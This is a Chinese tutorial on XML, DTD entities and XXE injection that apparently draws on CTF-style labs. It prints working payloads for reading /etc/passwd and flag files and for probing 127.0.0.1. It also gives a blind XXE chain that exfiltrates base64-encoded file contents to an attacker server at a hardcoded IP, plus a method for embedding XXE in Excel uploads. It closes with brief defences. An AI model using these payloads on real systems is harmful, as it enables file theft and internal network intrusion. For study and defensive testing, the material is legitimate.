xml外部实体注入原理与实战

XML外部实体注入原理与实战

XML的定义

XML 指可扩展标记语言(Extensible Markup Language)。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

它在 HTML 之后开发,来弥补 HTML 的不足。HTML 用于定义数据的展示,专注于它应该是什么样子。反之,XML 用于定义数据如何被组织。

例如,HTML 中,你的标签为<title>, <h1>, <table>, <p>,以及其它。这些东西都用于定义内容如何展示。<title>用于定义页面的标题,<h1>标签定义了标题,<table>标签按行和列展示数据,并且<p>表示为简单文本。反之,XML 没有预定义的标签。创建 XML 文档的人可以定义它们自己的标签,来描述展示的内容。

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?> #<!--XML 声明-->
<girls>
<girl>
<hair>短头发</hair>
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary age="23">我最爱的女孩</summary>
</girl>
</girls>girls>

XML语法规则

- 所有 XML 元素都须有关闭标签。

- XML 标签对大小写敏感。

- XML 必须正确地嵌套。

- XML 文档必须有根元素。

- XML 的属性值须加引号。

DTD

内部声明DTD

其实除了在DTD中定义元素以外,我们还可以在DTD中定义实体(相当于一个变量),我们可以在XML中通过“&”符号进行引用。

  • 格式
1
<!DOCTYPE 根元素 [元素声明]>

比如如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

在这个例子中, 元素包含一个内部 DTD 声明,它定义了 note 元素和它的子元素 to、from、heading、body 的规则。

#PCDATA
在XML中,#PCDATA是一个特殊的记号,表示“parsed character data”(已解析的字符数据),
也就是文本内容。在XML文档中,元素可以包含文本内容,这些文本内容会被解析器解析为#PCDATA类型

#PCDATA类型表示元素内容中包含的文本内容,并且可以包含任何字符(除了一些特殊的字 符,如”<”和”&”等,需要进行转义)。在XML中,#PCDATA类型的文本内容必须始终位于元素标 签之间,不能包含其他元素或标记。

#CDATA
在XML中,#CDATA是一个特殊的记号,表示“character data”(字符数据),也就是未解析的文本内容。与#PCDATA不同,#CDATA表示的文本内容不会被XML解析器解析,而是被视为纯文 本。
在XML文档中,可以使用标记将文本内容标记为#CDATA类型,这样解析器就不会对这些文本内容进行解析。

引用外部DTD

在 XML 中,可以将 DTD 声明作为一个单独的文件,并通过外部引用来在 XML 文档中使用,这被称为“外部 DTD 声明”。

外部 DTD 声明通常包含在一个独立的文件中,它定义了 XML 文档中使用的元素、属性、实体等的规则。XML 文档中使用 DOCTYPE 声明来引用外部 DTD 文件。

  • 格式
1
<!DOCTYPE 根元素 SYSTEM "文件名">

比如:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

在这个例子中,DOCTYPE 声明中的 SYSTEM “note.dtd” 指定了使用外部 DTD 文件“note.dtd”。XML解析器会自动下载并解析该文件,并根据其中定义的规则验证 XML 文档的结构和语法正确性。

note.dtd的内容为:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD实体

在 DTD(文档类型定义)中,实体是一种可被引用的数据类型,它可以用来代替特定的字符、字符串、符号等,从而使 DTD 更加灵活和易于维护。

在 DTD 中,有两种类型的实体:内部实体和外部实体。

内部实体

在 XML 中,内部实体(Internal Entity)是指定义在 XML 内部的实体,它可以在 XML 文档中被引用和使用,从而提高了 XML 文档的可读性和可维护性。

  • 格式
1
<!ENTITY 实体名称 "实体的值">

例子:

1
2
3
4
5
6
7
8
9
<!DOCTYPE note [
<!ENTITY author "John Smith">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Hello &author;!</body>
</note>

在这个例子中,定义了一个名为“author”的内部实体,它的实际内容是“John Smith”。在 XML 文档中,通过使用“&author;”来引用该实体,并将其替换为实际内容。

外部实体

在 XML 中,外部实体(External Entity)是指定义在 XML 外部的实体,它可以被引用到 XML 文档中,从而提高了 XML 文档的可重用性和可维护性。

外部实体可以通过 DOCTYPE 声明中的 SYSTEM 和 PUBLIC 声明进行引用。其中,SYSTEM 声明指向了外部实体文件的位置,而 PUBLIC 声明指定了外部实体的公共标识符(Public Identifier),以便XML 处理器可以识别该实体。

  • 格式
1
<!ENTITY 实体名称 SYSTEM "URI">
1
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例子:

1
2
3
4
5
6
7
8
9
<!DOCTYPE note [
<!ENTITY author SYSTEM "author.txt">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Hello &author;!</body>
</note>

在这个例子中,定义了一个名为“author”的外部实体,它在一个名为“author.txt”的文件中定义。在XML 文档中,通过使用“&author;”来引用该实体,并将其替换为“author.txt”文件中的实际内容。

1
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

通用实体

通用实体是一个可以在 XML 文档中引用和使用的文本片段,它的语法格式为:

1
<!ENTITY entity-name "entity-value">

其中,entity-name 是实体的名称,entity-value 是实体的值。通用实体可以在 XML 文档中任何位置引用和使用,使用实体引用的方式引用该实体。

(4) 参数实体
参数实体是一个特殊的实体,它只能在 DTD 中引用和使用,用于简化 DTD 的定义。

参数实体的语法格式为:

1
<!ENTITY % entity-name "entity-value">

其中,entity-name 是参数实体的名称,entity-value 是参数实体的值。参数实体只能在 DTD 中引用和使用,使用“%”符号和实体名称的方式引用该实体。

实体的引用

在 XML 中,实体引用(Entity Reference)是指使用“&”符号和实体名称来引用一个已经定义的实体。实体引用可以引用内部实体或外部实体,从而实现 XML 文档中的数据共享和重用。

在 XML 中,有一些内置的实体引用,例如“<”代表小于号(<),“>”代表大于号(>),“&”代表和号(&),“’”代表单引号(’),“””代表双引号(”)。这些实体引用可以帮助我们避免 XML 中的语法错误和字符转义问题。

除了内置的实体引用之外,我们还可以自定义实体引用,以便在 XML 文档中共享和重用数据。在XML 中,实体引用有两种类型:内部实体引用和外部实体引用。

引用内部实体

内部实体引用是指定义在 XML 内部的实体。

例子

1
2
3
4
5
6
7
8
9
<!DOCTYPE note [
<!ENTITY author "John Smith">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Hello &author;!</body>
</note>

在这个例子中,定义了一个名为“author”的内部实体,它的实际内容是“John Smith”。在 XML 文档中,通过使用“&author;”来引用该实体,并将其替换为实际内容。

引用外部实体

外部实体引用是指定义在 XML 外部的实体。

例子:

1
2
3
4
5
6
7
8
9
<!DOCTYPE note [
<!ENTITY author SYSTEM "author.txt">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Hello &author;!</body>
</note>

在这个例子中,定义了一个名为“author”的外部实体,它在一个名为“author.txt”的文件中定义。在XML 文档中,通过使用“&author;”来引用该实体,并将其替换为“author.txt”文件中的实际内容。

引用参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

示例代码:

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://IP:6666">
%remote;
]>
<message></message>

参数实体在我们 Blind XXE 中起到了至关重要的作用

特殊符号

在XML中,一些字符拥有特殊的意义,如果把这些直接放进XML元素中会产生错误。比如下面这个插入了“<”符号,解析器会把它当作新元素的开始,就会产生错误。

为了避免这个错误,我们可以用实体引用来替代这些特殊的字符。比如在XML中有5个预定义的实体

引用:

image-20230424221635622

XML外部实体注入

XML External Entity Injection(XXE),在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,从而导致漏洞的发生。XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

漏洞原理

利用了XML解析器中的实体功能,向目标应用程序注入恶意实体。攻击者构造一个恶意XML文档,并在其中插入一个外部实体引用,引用指向一个攻击者控制的文件或URL。当目标应用程序解析恶意XML文档时,它会尝试加载外部实体,并执行其中包含的代码或读取其中包含的数据。

漏洞危害

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

漏洞探测

第一步检测XML是否会被成功解析:如果页面输出了test,说明xml文件可以被解析

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<user><username>&xxe;</username><password>1234</password></user>

image-20230424231642895

第二步检测服务器是否支持DTD引用外部实体:

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://l7t5obuz7jkisvn4ejuqnd3t1k7dv2.oastify.com/?a" >]>
<user><username>&xxe;</username><password>1234</password></user>

可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求。

如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

漏洞利用

读取敏感文件

1
2
3
4
5
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<user><username>&xxe;</username><password>1234</password></user>

以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。

读取含有特殊字符的文件

有时候我们要读取的文件内容中存在很多的特殊字符:大于号、小于号等,我们在前面的XML基础巩固中也提到过,当xml的标签内还存在小于号、大于号等特殊字符时,尤其是小于号,会被XML解析器误认为是另一个标签的开始,这样就会造成解析的错误。

这个时候就需要使用CDATA了,下面是引用WIKI中关于CDATA的介绍。

CDATA,意为character data,是标记语言SGML与XML,表示文档的特定部分是普通的字符数据,而不是非字符数据或有特定、限定结构的字符数据。
在XML文档或外部实体中,一个CDATA section是一段按字面解释的内容,不作为标记文本。字符用CDATA节表示或者按照标准语法表示,并无差异。例如”<” 与 “&” 分别表示 “<” 与 “&”。

其实简单一点的来说也就是说,将脚本代码定义为 “CDATA” 后,CDATA 部分中的内容就会被解析器忽略,我们再看其使用方式

image-20230424232118049

我们也大概知道了CDATA的使用方式,但是其还需要注意几点:

a. CDATA 部分不能包含字符串 “]]>”。也不允许嵌套的 CDATA 部分,这样会导致异常的闭合,从而使解析器报错。
b. 标记 CDATA 部分结尾的 “]]>” 不能包含空格或换行。
那么了解了这些,我们就可以尝试使用CDATA再次去读取目标文件的内容,我们首先需要把要读取的到的内容放在CDATA中,但是CDATA并没有提供拼接的方法,所以我们暂且使用普通实体进行拼接尝试(注意是尝试)

1
2
3
4
5
6
<!DOCTYPE xxx [
<!ENTITY test "<![CDATA[">
<!ENTITY abc SYSTEM "file:///opt/flag.php">
<!ENTITY aa "]]>">
]>
<user><username>&test;&abc;&aa;</username><password>1234</password></user>

可以发现读取不到

这说明我们的拼接方式不可行,我们现在使用的是一般实体,我们在前面的xml基础知识中介绍过了,一般实体的引用是在xml文档内容中,既然在xml文档内容中拼接不可行,那在dtd中拼接可行吗?我们再次进行尝试,既然在dtd中拼接,那就需要用到参数实体了。

1
2
3
4
5
6
7
<!DOCTYPE xxx [
<!ENTITY % test "<![CDATA[">
<!ENTITY % abc SYSTEM "file:///opt/flag.php">
<!ENTITY % aa "]]>">
<!ENTITY all "%test;%abc;%aa">
]>
<user><username>&all;</username><password>1234</password></user>

但是我们还是无法读取,那么这又是为什么呢?

根据XML规范所描述:“在DTD内部子集中的参数实体调用,不能混掺到标记语言中”,这是什么意思呢?就是不能在实际的标记语言中来调用参数实体,像我们这样,就是在标记语言中进行调用。

但可以在同级别中被当作标记语言调用,就像是参数实体的引用,就是将调用当成了一个标记语言,像这样:

image-20230424232128135

也就是我们所构造的payload这种使用方式,不能在内部DTD中被这样使用,但是幸运的是,XML规范还声明了一点:“外部参数实体不受此限制”,这就告诉我们可以使用外部的DTD来构造payload,将我们的CDATA内容拼接起来:

1.dtd

1
<!ENTITY all "%start;%goodies;%end;">

image-20230424232137982

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///opt/flag.php">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://139.9.198.30/1.dtd">
%dtd;]>
<user><username>&all;</username><password>1234</password></user>

成功读取到含有特殊字符的文件内容。

探测内网

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1" >]>
<root>
<name>&xxe;</name>
</root>

Blind XXE

在实际情况中,大多数情况下服务器上的 XML 并不是输出用的,所以就少了输出这一环节,这样的话,即使漏洞存在,我们的payload的也被解析了,但是由于没有输出,我们也不知道解析得到的内容是什么,因此我们想要现实中利用这个漏洞就必须找到一个不依靠其回显的方法——外带数据。

1
2
3
4
5
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://139.9.198.30/test.dtd">
%remote;%int;%send;
]>
<user><username>1</username><password>2ad</password></user>

攻击者服务器test.dtd

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/flag">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://139.9.198.30/?p=%file;'>">

注意:参数实体可以嵌套定义,但需要注意的是,内层的定义的参数实体% 需要进行HTML转义,否则会出现解析错误。

image-20230424232149905

实现流程:从 payload 中能看到连续调用了三个参数实体 %remote;%int;%send;,这就是利用先后顺序,%remote先引用,引入外部dtd(攻击服务器上的text.dtd),然后引用%int%int调用test.dtd中定义的% int参数实体的值<!ENTITY &#x25; send SYSTEM 'http://139.9.198.30/?p=%file;'>, %file再引入外部参数实体<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/flag">,最后就是%send的引用。

EXCEL文档XXE

实际上,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。

1
2
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://xxx.com/" >]>
<name>&GVI;</name>

首先新建xlsx文件,然后将其后缀修改为.zip,再将该zip文件解压,打开[Content_Types].xml把测试代码放到第二、三行

然后重新将解压后的文件压缩,再修改文件后缀为xlsx进行上传即可。

防御方法

  • 禁用外部实体引用:禁用XML解析器中的外部实体引用,或者只允许引用受信任的实体。
  • 使用安全的XML解析器:使用安全的XML解析器,例如libxml2或SAX解析器,这些解析器已经默认禁
    用了外部实体引用。
  • 过滤用户输入:对于从用户接收的XML数据,进行严格的输入验证和过滤,以防止恶意XML文件被解
    析。